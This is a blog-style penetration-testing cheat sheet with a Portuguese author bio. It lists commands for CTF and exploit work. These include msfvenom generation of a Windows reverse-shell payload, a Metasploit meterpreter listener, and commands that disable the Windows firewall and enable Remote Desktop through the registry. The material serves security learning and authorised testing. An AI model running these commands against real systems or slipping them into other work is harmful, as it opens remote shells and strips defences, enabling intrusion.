Useful commands (Linux, Windows, CTF, Exploit, etc...)

General

Search commands

Look for an text inside of file data

find / -type f -exec grep -Hn 'content_to_be_found' {} \;

Looking for writable files

find / -perm -2 ! -type l ! -path "/proc*" ! -path "/sys*" -ls 2>/dev/null

Buffer Overflow

Looking for and possible vulnerable code

find . -type f -exec grep -Hn 'strcpy' {} \; 
or
find . -type f -exec grep -Hn 'strcpy' {} \; | awk -F'[:(,)]' '{print $1 ":" $2 " ==> " $4 "|" $5 "|" $6}'

Bad Characters

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Generating Payload

Generating an payload to be used at python script avoiding some bad characters

msfvenom -p windows/shell_reverse_tcp LHOST=<server_ip> LPORT=<server_port> -b '\x00\x0a\x0d' -f python

Decoding/printting an HEX Code

echo "41424344" | xxd -r -p
or 
cat hexfile.txt | sed 's/0x//g' | sed 's/,//g' | tr -d '\n' | xxd -r -p

Listting all msfvenom payloads candidates and his Size

for p in `msfvenom --list payloads | grep windows | awk '{print $1}'` ; do echo $p; msfvenom -p $p --list-options 2>&1 | grep -i "total size"; echo; done

Generating 100 files with random content betwwen 1 and 10 MB

for i in {1..100} ; do SIZE=$(( ( RANDOM % 10 )  + 1 )); FILENAME=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32); echo "[$i - 100] Generating $SIZE file..."; dd if=/dev/urandom of=sample_$FILENAME.txt bs=1M count=$SIZE; done

Getting only binary opcode

objdump -d mcat |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed 's/ /\\x/g'

Windows

Disabling Windows firewall

netsh firewall opmode disable
netsh advfirewall set allprofiles state off

Enabling Remote Desktop Service

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

Linux

Rdesktop with disk sharing

rdesktop  -u user -p password server:port -r disk:test=/tmp/ -g 85% -x m

Starting Metasploit Listener

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j -z

Finding all root SUID files

find / -perm +4000 -uid 0 2>/dev/null

Filtering wordlist by length and unique texts

cat data.txt | awk '{if (length($0) > 6 && length($0) <= 16) print tolower($0) }' | sort -u

Sobre
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Helvio Junior (OSCE, OSCP, CEHv9)

Cyber Security Analyst em Banco Original

OSCE, OSCP, CEHv9, Pesquisador de Falhas de Segurança e Vulnerabilidades. Profissional com mais de 20 anos de experiência na área de TI, atualmente focado na área de segurança da informação ofensiva (Red Team), bug hunting, cyber threat hunting, criação e engenharia reversa de Malware.
Carreira baseada em sólidos conhecimentos técnicos nas principais tecnologias de TI: Penetration Testing, Clould Computing, Ambiente de alta criticidade e alta disponibilidade, Windows Servers e seus serviços, Linux Servers e seus serviços, VoIP com Asterisk, Redes, Cisco, HP, ISO 27002, Hacker ético (CEHv9) e Engenharia reversa.

Últimos posts por Helvio Junior (OSCE, OSCP, CEHv9) (exibir todos)

[CTF – Writeup] Exploit H2HC 2019 - novembro 5, 2019
Criação de Exploits – Parte 4 – Estudo de caso: vulnserver KSTET com reaproveitamento da função WS2_32 Recv - fevereiro 17, 2019
Criação de Exploits – Parte 3 – Estudo de caso: vulnserver KSTET com egghunter - fevereiro 17, 2019

Useful commands (Linux, Windows, CTF, Exploit, etc…)